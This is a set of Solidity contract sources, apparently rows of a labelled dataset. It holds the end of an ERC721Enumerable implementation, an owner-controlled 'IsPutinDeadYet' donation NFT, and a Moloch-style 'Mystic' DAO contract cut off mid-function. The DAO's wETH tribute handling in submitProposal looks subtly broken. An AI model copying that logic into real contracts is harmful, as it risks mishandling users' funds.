mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract IsPutinDeadYet is ERC721Enumerable, Ownable {
bool private happyDay = false;
uint256 _tokenIds = 0;
uint256 _maxTokens = 10000000;
mapping(uint256 => string) private _messages;
mapping(uint256 => uint256) private _donated;
constructor() ERC721("IS PUTIN DEAD YET?!", "PTN") {}
function mint(string memory text)
public
payable
returns (uint256)
{
require(msg.value >= 10 ** 14);
require(_tokenIds < _maxTokens);
require(bytes(text).length <= 120);
_tokenIds += 1;
_mint(_msgSender(), _tokenIds);
_donated[_tokenIds] = msg.value;
_messages[_tokenIds] = text;
return _tokenIds;
}
function getSvg(uint256 tokenId) private view returns (string memory) {
string memory svg;
if (happyDay) {
string [5] memory splitedText = setSubstringArray(tokenId);
svg = string(
abi.encodePacked(
'<svg width="512" height="512" xmlns="http://www.w3.org/2000/svg"> <g> <rect stroke="#000" id="svg_5" height="512" width="512" y="0" x="1" stroke-width="0" fill="#ffffff"/>',
'<text transform="matrix(1 0 0 1 0 0)" font-weight="bold" xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="16" id="svg_4" y="485" x="184.28906" stroke-width="0" stroke="#000" fill="#000000">#yesputinisdead</text> <g id="svg_6">',
'<text xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="20" y="182.5" x="52.46094" stroke-width="0" fill="#000000">',
splitedText[0],
'</text>',
'<text xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="20" y="212.5" x="52.46094" stroke-width="0" stroke="#000" fill="#000000">',
splitedText[1],
'</text>',
'<text xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="20" y="242.5" x="52.46094" stroke-width="0" stroke="#000" fill="#000000">',
splitedText[2],
'</text>',
'<text xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="20" y="272.5" x="52.46094" stroke-width="0" stroke="#000" fill="#000000">',
splitedText[3],
'</text>',
'<text xml:space="preserve" text-anchor="start" font-family="Roboto Mono" font-size="20" y="302.5" x="52.46094" stroke-width="0" stroke="#000" fill="#000000">',
splitedText[4],
'</text> </g> </g> </svg>'
)
);
svg = string(abi.encodePacked('data:image/svg+xml;base64,', Base64.encode(bytes(svg))));
} else {
svg = string('ipfs://QmfCCFBXuJ2krLsL9PoYjDAVwMvFcmr1AdytXkshUL42Ds');
}
return svg;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "URI query for nonexistent token");
string memory a = toString(_donated[tokenId] / 10 ** 18);
string memory b = toString(_donated[tokenId] % 10 ** 18);
while (bytes(b).length < 18) b = string(abi.encodePacked("0",b));
while (bytes(b).length > 1 && bytes(b)[bytes(b).length-1] == "0") b = substring(b,0,bytes(b).length-1);
string memory donatedVal = string(abi.encodePacked(a,".",b));
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Message in memory of Putin War victims #',
toString(tokenId),
'",',
'"description": "This message was minted as a tribute to Putin War victims. It reveals the day Putin is gone. May his victims and the truth never be forgotten.",',
'"image": "',
getSvg(tokenId),
'","attributes": [{"trait_type": "donated", "value":"',
donatedVal,
' ETH',
'"}]}'
)
)
)
);
return string(abi.encodePacked("data:application/json;base64,", json));
}
function theHappiestDayAfterPutinBirth(bool value) public onlyOwner returns (bool) {
happyDay = value;
return true;
}
function sendDonation(address payable to) public onlyOwner returns (bool) {
to.transfer(address(this).balance);
return true;
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function substring(string memory str, uint256 startIndex, uint256 endIndex) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
function setSubstringArray(uint256 tokenId) internal view returns (string[5] memory) {
string [5] memory splitedTextArray;
bytes memory strBytes = bytes(_messages[tokenId]);
uint256 lastIndex = 0;
uint256 nextIndex = 0;
for (uint i = 0; i < 5; i++) {
nextIndex = lastIndex + 40;
if (nextIndex < strBytes.length){
for (uint j = nextIndex; j >= lastIndex; j--) {
if (strBytes[j] == " "){
nextIndex = j + 1;
break;
}
}
}else {
nextIndex = strBytes.length;
}
splitedTextArray[i] = substring(_messages[tokenId], lastIndex, nextIndex);
lastIndex = nextIndex;
if (nextIndex >= strBytes.length) break;
}
return splitedTextArray;
}
}
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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] | [
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] |
pragma solidity 0.5.17;
interface IERC20 { // brief interface for erc20 token tx
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IWETH { // brief interface for canonical ether token wrapper
function deposit() payable external;
function transfer(address dst, uint wad) external returns (bool);
}
library Address { // helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
library SafeERC20 { // wrapper around erc20 token tx for non-standard contract - see openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returnData) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returnData.length > 0) { // return data is optional
require(abi.decode(returnData, (bool)), "SafeERC20: erc20 operation did not succeed");
}
}
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
contract ReentrancyGuard { // call wrapper for reentrancy check
bool private _notEntered;
function _initReentrancyGuard () internal {
_notEntered = true;
}
modifier nonReentrant() {
require(_notEntered, "ReentrancyGuard: reentrant call");
_notEntered = false;
_;
_notEntered = true;
}
}
contract Mystic is ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
/***************
GLOBAL CONSTANTS
***************/
address public depositToken; // deposit token contract reference - default = wETH
address public stakeToken; // stake token contract reference for guild voting shares
address public constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // canonical ether token wrapper contract reference for proposals
uint256 public proposalDeposit; // default = 10 deposit token
uint256 public processingReward; // default = 0.1 - amount of deposit token to give to whoever processes a proposal
uint256 public periodDuration; // default = 17280 = 4.8 hours in seconds (5 periods per day)
uint256 public votingPeriodLength; // default = 35 periods (7 days)
uint256 public gracePeriodLength; // default = 35 periods (7 days)
uint256 public dilutionBound; // default = 3 - maximum multiplier a YES voter will be obligated to pay in case of mass ragequit
uint256 public summoningTime; // needed to determine the current period
bool private initialized; // tracks deployment status
// HARD-CODED LIMITS
// These numbers are quite arbitrary; they are small enough to avoid overflows when doing calculations
// with periods or shares, yet big enough to not limit reasonable use cases.
uint256 constant MAX_GUILD_BOUND = 10**36; // maximum bound for guild accounting
uint256 constant MAX_TOKEN_WHITELIST_COUNT = 400; // maximum number of whitelisted tokens
uint256 constant MAX_TOKEN_GUILDBANK_COUNT = 200; // maximum number of tokens with non-zero balance in guildbank
// BANK TOKEN DETAILS
string public constant name = "MYSTIC DAO";
string public constant symbol = "MXDAO";
uint8 public constant decimals = 18;
// **************
// EVENT TRACKING
// **************
event SubmitProposal(address indexed applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, bytes32 details, uint8[7] flags, bytes data, uint256 proposalId, address indexed delegateKey, address indexed memberAddress);
event CancelProposal(uint256 indexed proposalId, address applicantAddress);
event SponsorProposal(address indexed delegateKey, address indexed memberAddress, uint256 proposalId, uint256 proposalIndex, uint256 startingPeriod);
event SubmitVote(uint256 proposalId, uint256 indexed proposalIndex, address indexed delegateKey, address indexed memberAddress, uint8 uintVote);
event ProcessProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass);
event ProcessActionProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass);
event ProcessWhitelistProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass);
event ProcessGuildKickProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass);
event UpdateDelegateKey(address indexed memberAddress, address newDelegateKey);
event Approval(address indexed owner, address indexed spender, uint256 amount); // guild token (loot) allowance tracking
event Transfer(address indexed from, address indexed to, uint256 amount); // guild token mint, burn & (loot) transfer tracking
event Ragequit(address indexed memberAddress, uint256 sharesToBurn, uint256 lootToBurn);
event TokensCollected(address indexed token, uint256 amountToCollect);
event Withdraw(address indexed memberAddress, address token, uint256 amount);
// *******************
// INTERNAL ACCOUNTING
// *******************
address public constant GUILD = address(0xdead);
address public constant ESCROW = address(0xdeaf);
address public constant TOTAL = address(0xdeed);
uint256 public proposalCount; // total proposals submitted
uint256 public totalShares; // total shares across all members
uint256 public totalLoot; // total loot across all members
uint256 public totalGuildBankTokens; // total tokens with non-zero balance in guild bank
mapping(uint256 => bytes) public actions; // proposalId => action data
mapping(address => uint256) private balances; // guild token balances
mapping(address => mapping(address => uint256)) private allowances; // guild token (loot) allowances
mapping(address => mapping(address => uint256)) private userTokenBalances; // userTokenBalances[userAddress][tokenAddress]
enum Vote {
Null, // default value, counted as abstention
Yes,
No
}
struct Member {
address delegateKey; // the key responsible for submitting proposals & voting - defaults to member address unless updated
uint8 exists; // always true (1) once a member has been created
uint256 shares; // the # of voting shares assigned to this member
uint256 loot; // the loot amount available to this member (combined with shares on ragekick) - transferable by guild token
uint256 highestIndexYesVote; // highest proposal index # on which the member voted YES
uint256 jailed; // set to proposalIndex of a passing guild kick proposal for this member, prevents voting on & sponsoring proposals
}
struct Proposal {
address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as target for alt. proposals)
address proposer; // the account that submitted the proposal (can be non-member)
address sponsor; // the member that sponsored the proposal (moving it into the queue)
address tributeToken; // tribute token contract reference
address paymentToken; // payment token contract reference
uint8[7] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action]
uint256 sharesRequested; // the # of shares the applicant is requesting
uint256 lootRequested; // the amount of loot the applicant is requesting
uint256 paymentRequested; // amount of tokens requested as payment
uint256 tributeOffered; // amount of tokens offered as tribute
uint256 startingPeriod; // the period in which voting can start for this proposal
uint256 yesVotes; // the total number of YES votes for this proposal
uint256 noVotes; // the total number of NO votes for this proposal
uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal
bytes32 details; // proposal details to add context for members
mapping(address => Vote) votesByMember; // the votes on this proposal by each member
}
address[] public approvedTokens;
mapping(address => bool) public tokenWhitelist;
uint256[] public proposalQueue;
mapping(uint256 => Proposal) public proposals;
mapping(address => bool) public proposedToWhitelist;
mapping(address => bool) public proposedToKick;
mapping(address => Member) public members;
mapping(address => address) public memberAddressByDelegateKey;
modifier onlyDelegate {
require(members[memberAddressByDelegateKey[msg.sender]].shares > 0, "!delegate");
_;
}
function init(
address _depositToken,
address _stakeToken,
address[] calldata _summoner,
uint256[] calldata _summonerShares,
uint256 _summonerDeposit,
uint256 _proposalDeposit,
uint256 _processingReward,
uint256 _periodDuration,
uint256 _votingPeriodLength,
uint256 _gracePeriodLength,
uint256 _dilutionBound
) external {
require(!initialized, "initialized");
require(_depositToken != _stakeToken, "depositToken == stakeToken");
require(_summoner.length == _summonerShares.length, "summoner != summonerShares");
require(_proposalDeposit >= _processingReward, "_processingReward > _proposalDeposit");
for (uint256 i = 0; i < _summoner.length; i++) {
registerMember(_summoner[i], _summonerShares[i]);
mintGuildToken(_summoner[i], _summonerShares[i]);
totalShares = totalShares.add(_summonerShares[i]);
}
require(totalShares <= MAX_GUILD_BOUND, "guild maxed");
tokenWhitelist[_depositToken] = true;
approvedTokens.push(_depositToken);
if (_summonerDeposit > 0) {
totalGuildBankTokens += 1;
unsafeAddToBalance(GUILD, _depositToken, _summonerDeposit);
}
depositToken = _depositToken;
stakeToken = _stakeToken;
proposalDeposit = _proposalDeposit;
processingReward = _processingReward;
periodDuration = _periodDuration;
votingPeriodLength = _votingPeriodLength;
gracePeriodLength = _gracePeriodLength;
dilutionBound = _dilutionBound;
summoningTime = now;
initialized = true;
_initReentrancyGuard();
}
/*****************
PROPOSAL FUNCTIONS
*****************/
function submitProposal(
address applicant,
uint256 sharesRequested,
uint256 lootRequested,
uint256 tributeOffered,
address tributeToken,
uint256 paymentRequested,
address paymentToken,
bytes32 details
) payable external nonReentrant returns (uint256 proposalId) {
require(sharesRequested.add(lootRequested) <= MAX_GUILD_BOUND, "guild maxed");
require(tokenWhitelist[tributeToken], "tributeToken != whitelist");
require(tokenWhitelist[paymentToken], "paymentToken != whitelist");
require(applicant != GUILD && applicant != ESCROW && applicant != TOTAL, "applicant unreservable");
require(members[applicant].jailed == 0, "applicant jailed");
if (tributeOffered > 0 && userTokenBalances[GUILD][tributeToken] == 0) {
require(totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT, "guildbank maxed");
}
// collect tribute from proposer & store it in the Mystic until the proposal is processed - if ether, wrap into wETH
if (tributeToken == wETH && msg.value > 0) {
require(msg.value == tributeOffered, "!ETH");
IWETH(wETH).deposit();
(bool success, ) = wETH.call.value(msg.value)("");
require(success, "!transfer");
IWETH(wETH).transfer(address(this), msg.value);
} else {
IERC20(tributeToken).safeTransferFrom(msg.sender, address(this), tributeOffered);
}
unsafeAddToBalance(ESCROW, tributeToken, tributeOffered);
uint8[7] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action]
_submitProposal(applicant, sharesRequested, lootRequested, tributeOffered, tributeToken, paymentRequested, paymentToken, details, flags, "");
return proposalCount - 1; // return proposalId - contracts calling submit might want it
}
function submitActionProposal( // stages arbitrary function calls for member vote - based on Raid Guild 'Minion'
address actionTo,
address actionToken,
uint256 actionTokenAmount,
uint256 actionValue,
bytes32 details,
bytes calldata data
) external returns (uint256 proposalId) {
uint8[7] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action]
flags[6] = 1; // guild action
_submitProposal(actionTo, 0, 0, actionValue, address(0), actionTokenAmount, actionToken, details, flags, data);
return proposalCount - 1;
}
function submitWhitelistProposal(address tokenToWhitelist, bytes32 details) external returns (uint256 proposalId) {
require(tokenToWhitelist != address(0), "!token");
require(tokenToWhitelist != stakeToken, "tokenToWhitelist == stakeToken");
require(!tokenWhitelist[tokenToWhitelist], "whitelisted");
require(approvedTokens.length < MAX_TOKEN_WHITELIST_COUNT, "whitelist maxed");
uint8[7] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action]
flags[4] = 1; // whitelist
_submitProposal(address(0), 0, 0, 0, tokenToWhitelist, 0, address(0), details, flags, "");
return proposalCount - 1;
}
function submitGuildKickProposal(address memberToKick, bytes32 details) external returns (uint256 proposalId) {
Member memory member = members[memberToKick];
require(member.shares > 0 || member.loot > 0, "!share||loot");
require(members[memberToKick].jailed == 0, "jailed");
uint8[7] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action]
flags[5] = 1; // guild kick
_submitProposal(memberToKick, 0, 0, 0, address(0), 0, address(0), details, flags, "");
return proposalCount - 1;
}
function _submitProposal(
address applicant,
uint256 sharesRequested,
uint256 lootRequested,
uint256 tributeOffered,
address tributeToken,
uint256 paymentRequested,
address paymentToken,
bytes32 details,
uint8[7] memory flags,
bytes memory data
) internal {
Proposal memory proposal = Proposal({
applicant : applicant,
proposer : msg.sender,
sponsor : address(0),
tributeToken : tributeToken,
paymentToken : paymentToken,
flags : flags,
sharesRequested : sharesRequested,
lootRequested : lootRequested,
paymentRequested : paymentRequested,
tributeOffered : tributeOffered,
startingPeriod : 0,
yesVotes : 0,
noVotes : 0,
maxTotalSharesAndLootAtYesVote : 0,
details : details
});
if (proposal.flags[6] == 1) {
actions[proposalCount] = data;
}
proposals[proposalCount] = proposal;
address memberAddress = memberAddressByDelegateKey[msg.sender];
// NOTE: argument order matters, avoid stack too deep
emit SubmitProposal(applicant, sharesRequested, lootRequested, tributeOffered, tributeToken, paymentRequested, paymentToken, details, flags, data, proposalCount, msg.sender, memberAddress);
proposalCount += 1;
}
function sponsorProposal(uint256 proposalId) external nonReentrant onlyDelegate {
// collect proposal deposit from sponsor & store it in the Mystic until the proposal is processed
IERC20(depositToken).safeTransferFrom(msg.sender, address(this), proposalDeposit);
unsafeAddToBalance(ESCROW, depositToken, proposalDeposit);
Proposal storage proposal = proposals[proposalId];
require(proposal.proposer != address(0), "!proposed");
require(proposal.flags[0] == 0, "sponsored");
require(proposal.flags[3] == 0, "cancelled");
require(members[proposal.applicant].jailed == 0, "applicant jailed");
if (proposal.tributeOffered > 0 && userTokenBalances[GUILD][proposal.tributeToken] == 0) {
require(totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT, "guildbank maxed");
}
// whitelist proposal
if (proposal.flags[4] == 1) {
require(!tokenWhitelist[address(proposal.tributeToken)], "whitelisted");
require(!proposedToWhitelist[address(proposal.tributeToken)], "whitelist proposed");
require(approvedTokens.length < MAX_TOKEN_WHITELIST_COUNT, "whitelist maxed");
proposedToWhitelist[address(proposal.tributeToken)] = true;
// guild kick proposal
} else if (proposal.flags[5] == 1) {
require(!proposedToKick[proposal.applicant], "kick proposed");
proposedToKick[proposal.applicant] = true;
}
// compute startingPeriod for proposal
uint256 startingPeriod = max(
getCurrentPeriod(),
proposalQueue.length == 0 ? 0 : proposals[proposalQueue[proposalQueue.length - 1]].startingPeriod
) + 1;
proposal.startingPeriod = startingPeriod;
address memberAddress = memberAddressByDelegateKey[msg.sender];
proposal.sponsor = memberAddress;
proposal.flags[0] = 1; // sponsored
// append proposal to the queue
proposalQueue.push(proposalId);
emit SponsorProposal(msg.sender, memberAddress, proposalId, proposalQueue.length - 1, startingPeriod);
}
// NOTE: In Mystic, proposalIndex != proposalId
function submitVote(uint256 proposalIndex, uint8 uintVote) external onlyDelegate {
address memberAddress = memberAddressByDelegateKey[msg.sender];
Member storage member = members[memberAddress];
require(proposalIndex < proposalQueue.length, "!proposed");
Proposal storage proposal = proposals[proposalQueue[proposalIndex]];
require(uintVote < 3, "!<3");
Vote vote = Vote(uintVote);
require(getCurrentPeriod() >= proposal.startingPeriod, "pending");
require(!hasVotingPeriodExpired(proposal.startingPeriod), "expired");
require(proposal.votesByMember[memberAddress] == Vote.Null, "voted");
require(vote == Vote.Yes || vote == Vote.No, "!Yes||No");
proposal.votesByMember[memberAddress] = vote;
if (vote == Vote.Yes) {
proposal.yesVotes += member.shares;
// set highest index (latest) yes vote - must be processed for member to ragequit
if (proposalIndex > member.highestIndexYesVote) {
member.highestIndexYesVote = proposalIndex;
}
// set maximum of total shares encountered at a yes vote - used to bound dilution for yes voters
if (totalSupply() > proposal.maxTotalSharesAndLootAtYesVote) {
proposal.maxTotalSharesAndLootAtYesVote = totalSupply();
}
} else if (vote == Vote.No) {
proposal.noVotes += member.shares;
}
// NOTE: subgraph indexes by proposalId not proposalIndex since proposalIndex isn't set until it's been sponsored but proposal is created on submission
emit SubmitVote(proposalQueue[proposalIndex], proposalIndex, msg.sender, memberAddress, uintVote);
}
function processProposal(uint256 proposalIndex) external nonReentrant {
_validateProposalForProcessing(proposalIndex);
uint256 proposalId = proposalQueue[proposalIndex];
Proposal storage proposal = proposals[proposalId];
require(proposal.flags[4] == 0 && proposal.flags[5] == 0 && proposal.flags[6] == 0, "!standard");
proposal.flags[1] = 1; // processed
bool didPass = _didPass(proposalIndex);
// Make the proposal fail if the new total number of shares & loot exceeds the limit
if (totalSupply().add(proposal.sharesRequested).add(proposal.lootRequested) > MAX_GUILD_BOUND) {
didPass = false;
}
// Make the proposal fail if it is requesting more tokens as payment than the available guild bank balance
if (proposal.paymentRequested > userTokenBalances[GUILD][proposal.paymentToken]) {
didPass = false;
}
// Make the proposal fail if it would result in too many tokens with non-zero balance in guild bank
if (proposal.tributeOffered > 0 && userTokenBalances[GUILD][proposal.tributeToken] == 0 && totalGuildBankTokens >= MAX_TOKEN_GUILDBANK_COUNT) {
didPass = false;
}
// PROPOSAL PASSED
if (didPass) {
proposal.flags[2] = 1; // didPass
// if the applicant is already a member, add to their existing shares & loot
if (members[proposal.applicant].exists == 1) {
members[proposal.applicant].shares = members[proposal.applicant].shares.add(proposal.sharesRequested);
members[proposal.applicant].loot = members[proposal.applicant].loot.add(proposal.lootRequested);
// if the applicant is a new member, create a new record for them
} else {
registerMember(proposal.applicant, proposal.sharesRequested);
}
// mint new guild token, shares & loot
mintGuildToken(proposal.applicant, proposal.sharesRequested.add(proposal.lootRequested));
totalShares = totalShares.add(proposal.sharesRequested);
totalLoot = totalLoot.add(proposal.lootRequested);
// if the proposal tribute is the first token of its kind to make it into the guild bank, increment total guild bank tokens
if (userTokenBalances[GUILD][proposal.tributeToken] == 0 && proposal.tributeOffered > 0) {
totalGuildBankTokens += 1;
}
unsafeInternalTransfer(ESCROW, GUILD, proposal.tributeToken, proposal.tributeOffered);
unsafeInternalTransfer(GUILD, proposal.applicant, proposal.paymentToken, proposal.paymentRequested);
// if the proposal spends 100% of guild bank balance for a token, decrement total guild bank tokens
if (userTokenBalances[GUILD][proposal.paymentToken] == 0 && proposal.paymentRequested > 0) {
totalGuildBankTokens -= 1;
}
// PROPOSAL FAILED
} else {
// return all tokens to the proposer (not the applicant, because funds come from proposer)
